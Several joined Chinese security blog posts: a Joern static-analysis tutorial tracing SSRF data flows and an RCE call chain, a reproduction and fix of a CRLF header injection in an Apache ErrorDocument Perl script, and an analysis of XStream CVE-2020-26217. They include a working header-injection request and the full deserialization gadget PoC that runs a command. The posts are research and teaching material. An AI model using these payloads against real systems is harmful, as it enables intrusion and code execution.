enablePathTracking 的查询是我在 overflowDb 的源码里找到的，是否为正确用法暂不确定，反正确实解决问题了。：） 2.3 数据流分析 Joern 除了可以查询代码中的信息外，也可以执行一些数据流分析。使用数据流分析也非常简单，只需要定义好 source 和 sink，就可以调用 reachableBy 执行数据流分析了。 该查询的格式为：sink.reachableBy(source) 所以我们要先定义出 source 和 sink。以 SSRF 为例，我们简单的定义一下： joern> def source = cpg.method.where(_.annotation.name(".*Mapping")).parameter defined function source joern> def sink = cpg.call.name("openConnection") defined function sink 然后执行查询就可以了： joern> sink.reachableByFlows(source).dedup.p res146: List[String] = List( """__________________________________________________________________________________________________________________________________________________________________ | tracked | lineNumber| method | file | |=================================================================================================================================================================| | URLConnectionSec(this, String url) | 43 | URLConnectionSec | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/SSRF.java | | SecurityUtil.isHttp(url) | 46 | URLConnectionSec | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/SSRF.java | | isHttp(String url) | 30 | isHttp | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/security/SecurityUtil.java | | url.startsWith("http://") | 31 | isHttp | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/security/SecurityUtil.java | | url.startsWith("https://") | 31 | isHttp | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/security/SecurityUtil.java | | boolean | 30 | isHttp | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/security/SecurityUtil.java | | SecurityUtil.isHttp(url) | 46 | URLConnectionSec | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/SSRF.java | | HttpUtils.URLConnection(url) | 52 | URLConnectionSec | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/SSRF.java | | URLConnection(String url) | 92 | URLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | new URL(url) | 94 | URLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | new URL(url) | 94 | URLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | u.openConnection() | 95 | URLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | u.openConnection() | 95 | URLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | """, """______________________________________________________________________________________________________________________________________________________________ | tracked | lineNumber| method | file | |=============================================================================================================================================================| | URLConnectionVuln(this, String url) | 37 | URLConnectionVuln | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/SSRF.java | | HttpUtils.URLConnection(url) | 38 | URLConnectionVuln | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/SSRF.java | | URLConnection(String url) | 92 | URLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | new URL(url) | 94 | URLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | new URL(url) | 94 | URLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | u.openConnection() | 95 | URLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | u.openConnection() | 95 | URLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | """, """____________________________________________________________________________________________________________________________________________________________________________ | tracked | lineNumber| method | file | |===========================================================================================================================================================================| | httpURLConnection(this, @RequestParam String url) | 67 | httpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/SSRF.java | | HttpUtils.HttpURLConnection(url) | 70 | httpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/SSRF.java | | HttpURLConnection(String url) | 117 | HttpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | new URL(url) | 119 | HttpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | new URL(url) | 119 | HttpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | u.openConnection() | 120 | HttpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | u.openConnection() | 120 | HttpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | """, """____________________________________________________________________________________________________________________________________________________________________________________ | tracked | lineNumber| method | file | |===================================================================================================================================================================================| | httpURLConnectionVuln(this, @RequestParam String url) | 80 | httpURLConnectionVuln | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/SSRF.java | | HttpUtils.HttpURLConnection(url) | 81 | httpURLConnectionVuln | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/controller/SSRF.java | | HttpURLConnection(String url) | 117 | HttpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | new URL(url) | 119 | HttpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | new URL(url) | 119 | HttpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | u.openConnection() | 120 | HttpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | | u.openConnection() | 120 | HttpURLConnection | /Users/lightless/program/java-sec-code/src/main/java/org/joychou/util/HttpUtils.java | """ ) 可以看到，Joern 找到了4条路径，接下来就可以人工验证一下是否存在问题了。 我们只是简单的定义了 sink 和 source，并没有处理是否有URL过滤、白名单的问题，所以可能会出现误报。而更复杂的查询，可以通过编写 sc 脚本来解决，这里暂不展开了，后面有机会可以详细展开讲讲。 3. Play In Real World 测试的开源软件尚未修复此漏洞，所以这里对目标代码打码处理了。 因为之前已经挖到了洞，漏洞主要是因为某个接口调用了 org.apache.maven.shared.invoker.DefaultInvoker.execute 方法，可以构建任意的 maven 项目，进而导致 RCE 漏洞。现在我们就来查询一下，是否有 Web 接口调用了该 execute 方法： joern> cpg.method.fullName("org.apache.maven.shared.invoker.Invoker.execute:.*").repeat(_.caller)(_.until(_.annotation.name("(.*Mapping|OnOpen)"))).l res4: List[Method] = List( Method( id -> 50741L, astParentFullName -> "<empty>", astParentType -> "<empty>", code -> "public void onOpen(@PathParam(\"id\") Long id, Session session)", columnNumber -> Some(value = 5), columnNumberEnd -> Some(value = 5), filename -> "xxx.java", fullName -> "com.xxxx.yyy.onOpen:<unresolvedSignature>(2)", hash -> None, isExternal -> false, lineNumber -> Some(value = 30), lineNumberEnd -> Some(value = 48), name -> "onOpen", order -> 2, signature -> "<unresolvedSignature>(2)" ) ) 确实有一个 WebSocket 接口，调用了这个 execute 方法，但是没有具体的调用链路。因为这个漏洞在实际利用时，待编译的maven项目是通过其他接口上传的，所以污点传播分析肯定是分析不到的，所以我们简单的寻找调用流程即可： joern> cpg.method.fullName("org.apache.maven.shared.invoker.Invoker.execute:.*").enablePathTracking.repeat(_.caller)(_.until(_.annotation.name("(.*Mapping|OnOpen)"))).path.l 结果这里就不贴了，最终是列出了调用链路，经过实际测试，也确实可以利用。 除了这种常规的查询外，Joern 也可以执行 sc 脚本进行查询，比如：./joern --script test.sc --params cpgFile=/src.path.zip,outFile=output.log 。也可以将 Joern 作为服务端跑起来，客户端通过 HTTP 与其进行通信。这些更多的功能还没有深入研究，后续有机会将随着更加深入的使用，逐步总结出来。 -1. 参考文档 https://github.com/joernio/workshops/blob/master/2021-RSA/RSA-LAB2-R08.pdf https://github.com/ShiftLeftSecurity/overflowdb/blob/master/traversal/src/main/scala/overflowdb/traversal/Traversal.scala https://docs.joern.io/home/
0x00 前言 这本来是在工作中遇到的一个 case，觉得比较有趣，就复现并记录一下。 在线上遇到了一个 CRLF 注入的漏洞，请求 http://example.com/test%0d%0aA%3DB 就会触发。起初没怎么在意，以为是 nginx 配置文件编写不当导致的，但是经过粗略的分析，发现 nginx 配置十分简单，只是普通的 proxy_pass 而已，理论上不会出现 CRLF 漏洞，于是浏览了一下这个仓库中其他的文件，发现存在一个 perl 脚本，初步猜测和这块有关系，经过一番分析后，确实如此。 0x01 环境搭建 因为已经看到了有问题的代码，所以直接复现即可。 先安装 Apache2 和 mod_perl，并且开启 mod_cgi。 > apt install apache2 libapache2-mod-perl2 > a2enmod perl > a2enmod cgi 接着修改默认的配置文件/etc/apache2/sites-enabled/000-default.conf，还原出有问题的配置： <VirtualHost *:9999> ServerAdmin webmaster@localhost DocumentRoot /var/www/html ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined ErrorDocument 404 /cgi-bin/missing.pl </VirtualHost> 关键是 ErrorDocument 这行配置，这就是罪魁祸首。其中 missing.pl 的代码如下： #!/usr/bin/perl use CGI; my $q = CGI->new; my $new_uri = $ENV{'REDIRECT_URL'}; printf("Location: http://lightless.me?from=%s\n", $new_uri); printf("Status: 302\n"); print "\n" 如果 perl 脚本无法正常执行，请检查 cgi 模块是否开启并且正确配置，在 /var/log/apache2/error.log 中可能有错误原因。 测试效果如下： # 正常请求 ☁ cgi-bin curl -v "http://localhost:9999/bbbb" * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 9999 (#0) > GET /bbbb HTTP/1.1 > Host: localhost:9999 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 302 Found < Date: Tue, 20 Jul 2021 14:41:30 GMT < Server: Apache/2.4.29 (Ubuntu) < Location: http://lightless.me?from=/bbbb&a=b < Transfer-Encoding: chunked < Content-Type: text/x-perl < # 有问题的请求 ☁ cgi-bin curl -v "http://localhost:9999/bbbb%0d%0aSet-Cookie:c%3dd%0d%0afoo:" * Trying ::1... * TCP_NODELAY set * Connected to localhost (::1) port 9999 (#0) > GET /bbbb%0d%0aSet-Cookie:c%3dd%0d%0afoo: HTTP/1.1 > Host: localhost:9999 > User-Agent: curl/7.58.0 > Accept: */* > < HTTP/1.1 302 Found < Date: Tue, 20 Jul 2021 14:41:19 GMT < Server: Apache/2.4.29 (Ubuntu) < foo: &a=b < Set-Cookie: c=d < Location: http://lightless.me?from=/bbbb < Transfer-Encoding: chunked < Content-Type: text/x-perl < 可以看到已经成功的注入了 Set-Cookie 头。 0x02 分析 我们先看看 ErrorDocument 这个指令是干什么的，根据官方文档给出的解释 What the server will return to the client in case of an error 可以知道，就是用来自定义错误页面用的。 这个指令的格式如下（来自：https://httpd.apache.org/docs/2.4/mod/core.html#errordocument）： ErrorDocument error-code document 其中 error-code 表示要对哪种错误状态码进行处理，而 document 其实就是处理参数，可以是一个简单的字符串，也可以是一个Local URL（当前站点的某个页面）或者 External URL（外部站点），也可以是一个 cgi 脚本。 如果指定是一个 cgi 脚本的时候，那么脚本必须要在标准输出中返回 Status: 头告知客户端 HTTP 状态码 。 ... print "Some Values\n" printf "Status: %s Condition Intercepted\n", $ENV{"REDIRECT_STATUS"} 那么这些环境变量是从哪里来的呢？ 根据文档可知，当触发 ErrorDocument 指令的时候，httpd 会额外的设置一些环境变量给到 ErrorDocument 的上下文中，以便于 ErrorDocument 可以使用这些值。这些环境变量都是来自于原始的请求头的，并且会给变量名添加 REDIRECT_ 前缀。例如原始请求头中的 USER_AGENT，会变成 REDIRECT_USER_AGENT。 文档中特别提到的是，REDIRECT_URL，REDIRECT_STATUS，REDIRECT_QUERY_STRING 三个变量是一定会设置的，其余的变量根据原始请求实际情况进行设置，例如： REDIRECT_HTTP_ACCEPT REDIRECT_PATH REDIRECT_REMOTE_ADDR 等等 而我们的 perl 脚本中，取了环境变量中 REDIRECT_URL 的值，并且拼到了 Location: 头中，由于 REDIRECT_URL 是已经解码过的，%0d%0a 已经被解码成了 \r\n ，于是造成了 CRLF 注入。 而修复的话，方法也比较简单，直接删除 REDIRECT_URL 中的 \r\n 换行符即可。 my $new_uri = $ENV{'REDIRECT_URL'}; $new_uri =~ s/[\n\r]//g;
0x00 Background XStream 这个组件，主要功能是将 Java 对象和 XML 进行互相转换，也就涉及到了序列化和反序列化。之前一直知道这个组件存在反序列化的 RCE 漏洞，但是一直没有分析过，其他网络上的分析 paper 也就是瞟了几眼。 最近在工作中遇到了这个组件，朋友告诉我扫到了一个 RCE 漏洞，修复方案是升级到最新版本，但是印象中这个组件出现过好几次反序列化的问题了。这不禁勾起了我的好奇心，你说这个东西，会像 fastjson 一样频繁出现问题吗？ 0x01 XStream 101 作为一款基础的反序列化组件，我们先来看看基本用法： package me.lightless; import com.thoughtworks.xstream.XStream; import java.util.ArrayList; import java.util.HashMap; import java.util.List; import java.util.Map; class Foo { private String f1; public String f2; public void bar() { System.out.println(this.f1 + this.f2); } private void baz() { System.out.println(this.f2 + this.f1); } } public class BasicUsage { public static void main(String[] args) { String v1 = "Hello World!"; Map<String, String> map = new HashMap<>(); map.put("aa", "bb"); map.put("cc", "dd"); List<String> list1 = new ArrayList<>(); list1.add("hello"); list1.add("world"); List<Map> list2 = new ArrayList<>(); list2.add(map); list2.add(map); Foo foo = new Foo(); foo.f2 = "f2"; XStream xStream = new XStream(); System.out.println(xStream.toXML(v1) + "\n===\n"); System.out.println(xStream.toXML(map) + "\n===\n"); System.out.println(xStream.toXML(list1) + "\n===\n"); System.out.println(xStream.toXML(list2) + "\n===\n"); System.out.println(xStream.toXML(foo) + "\n===\n"); } } 分别对 String, Map, List, Class 进行序列化，看看结果； <string>Hello World!</string> === <entry> <string>aa</string> <string>bb</string> </entry> <entry> <string>cc</string> <string>dd</string> </entry> === <string>hello</string> <string>world</string> === <entry> <string>aa</string> <string>bb</string> </entry> <entry> <string>cc</string> <string>dd</string> </entry> === <me.lightless.Foo> <f2>f2</f2> </me.lightless.Foo> === 结果还是挺易懂的： Map 中的每一个键值对，都被包装在了 <entry> 标签里，第一项为 key，第二项为 value； List 中的值就直接放到了 标签里； Class 中的字段值，就通过同名的标签来进行赋值； 基本上 XStream 的基础用法就这些了，对于分析漏洞的 poc 来说已经足够了。 0x02 Analysis CVE-2020-26217 XStream 把所有的 CVE 都放到了他们的官网上，很容易找到需要的信息，甚至连 POC 都毫不吝啬的放出来了。这个截至目前为止最新的 RCE CVE 对应的链接：https://x-stream.github.io/CVE-2020-26217.html 完整的 PoC 如下（直接从官网复制的）： <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>calc</string> </command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> 0 <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> 这 PoC 看起来很长，而且嵌套了好多层，看起来非常的混乱，但是不急，我们把所有嵌套都折叠起来，慢慢看： <entry> <jdk.nashorn.internal.objects.NativeString>...</jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> 这不就是我们刚刚看过的 Map 结构嘛，这个 Map 里只有一个 <entry>，这对键值对的 key 是 NativeStringn 类型的一个实例，value 就是普通的 String，所以这个 PoC 有效的部分一定都是在 key 对应的 NativeString 实例中。我们再展开继续看： <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'> <dataHandler> ... </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <string>test</string> </entry> 现在可以看到，NativeString 这个对象中，设置了两个字段的值，分别是 flags 字段 和 value 字段，其中 value 字段是 Base64Data 这个类的实例对象，并且填充了 dataHandler 和 dataLen 字段；现在嵌套层数已经多起来了，我们单独展开 dataHandler 来看： <dataHandler> <dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'> <contentType>text/plain</contentType> <is class='java.io.SequenceInputStream'> <e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'> <iterator class='javax.imageio.spi.FilterIterator'> <iter class='java.util.ArrayList$Itr'> <cursor>0</cursor> <lastRet>-1</lastRet> <expectedModCount>1</expectedModCount> <outer-class> <java.lang.ProcessBuilder> <command> <string>calc</string> </command> </java.lang.ProcessBuilder> </outer-class> </iter> <filter class='javax.imageio.ImageIO$ContainsFilter'> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>start</name> </filter> <next/> </iterator> <type>KEYS</type> </e> <in class='java.io.ByteArrayInputStream'> <buf></buf> <pos>0</pos> 0 <count>0</count> </in> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> 这一段其实也没啥好说的，按照刚才的思路看就行了，无非就是设置了什么类的什么属性而已；但是到这里为止，我们也只是看懂了这个 PoC 是怎么回事，但是依然不知道他咋就能 RCE 了，那么就跟进代码里分析一下。 0x03 Dive Into XStream 详细的反序列化流程网络上已经有很多文章都分析了，有些写的很棒，我这里也就不再详细分析了，简单记录一下。 首先这个 XStream 反序列化的入口就是 fromXML 方法，传入一个 XML 字符串就可以触发反序列化流程了。 XStream xStream = new XStream(); Object x = xStream.fromXML(payload); 我们一直跟进，一直跟到 com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy#unmarshal 方法，这里的 context.start() 才真正的开始反序列化流程 我们的 PoC 中，一开始提供的是个 Map，所以这里 convertAnother 最终会进入到 com.thoughtworks.xstream.converters.collections.MapConverter#unmarshal 这个方法里。 继续向下跟进，XStream 会反序列化出每一个 entry 的 key 和 value，然后放到 Map 中； 关键就在这里，有一个大家都知道但是很容易被忽视的点，当向 Map 中添加数据的时候，会调用 key 的 hashCode 方法，回头看一下 PoC，这里的 key 是 NativeString 类的对象，所以实际上第 107 行跟进后，会调用 NativeString#hashCode 方法，我们跟进去看看 NativeString 类是怎么样的： 很明显，我们在 PoC 中构造的 value 字段并不是 String，而是 Base64Data ，所以会调用到 Base64Data#toString 方法，继续展开看看： 这里的 this.dataHandler 也是我们在 PoC 中精心构造过的，具体的内容可以回顾下 PoC，是一个 XmlDataSource ，然后便进入了 baos.readFrom(is) 部分， 我们在 PoC 中构造的 is 是 SequenceInputStream，所以最终会走到 SequenceInputStream#read() 方法： 继续跟进这里的 nextStream()，会进入到 MultiUIDefaultsEnumerator#nextElement() 方法： 这里由于 type 字段的值我们写死了是 "KEYS"，所以会进入第一个 case 的逻辑；在 PoC 中，iterator 被设置为了 javax.imageio.spi.FilterIterator，所以往这里跟： 这里就稍微有点复杂，反正最后就调用到了 filter.filter(elt) 这个方法，elt 是啥呢？看看 PoC： 就是一个 ProcessBuilder，那么 filter.filter() 方法也就知道了，对应为 ContainsFilter#filter()方法： 很明显，通过反射调用了 ProcessBuilder#start() 方法执行命令了。 0x04 More Thinking 快速的看完整个反序列化流程后，可以说这个漏洞没有什么难点，挺简单的，但是却非常的巧妙，从利用 Map#put 开始，到利用 NativeString#hashCode() 进入到 PoC 代码中，再到最后的 ContainsFilter#filter() 通过反射执行命令，都非常巧妙。 那么高版本是怎么修复的？简单的看了看加调试了一下，发现是通过黑名单修复的，这让我不禁想到了 fastjson，在 1.4.15 中黑名单如下： 可以看到，我们刚才用到的一些类都被拉黑了，但是这又来了一个新的问题，这黑名单总有被绕过的一天，想想 fastjson 的黑名单，总有可乘之机，简单测试了一下，还是有办法通过 JNDI 搞一下的。 在最新版的 1.4.15 中，已经收到了 RMI 的请求，在低版本的 JDK 中比较好利用，可以直接打，但是高版本的 JDK 利用就稍微有点麻烦了。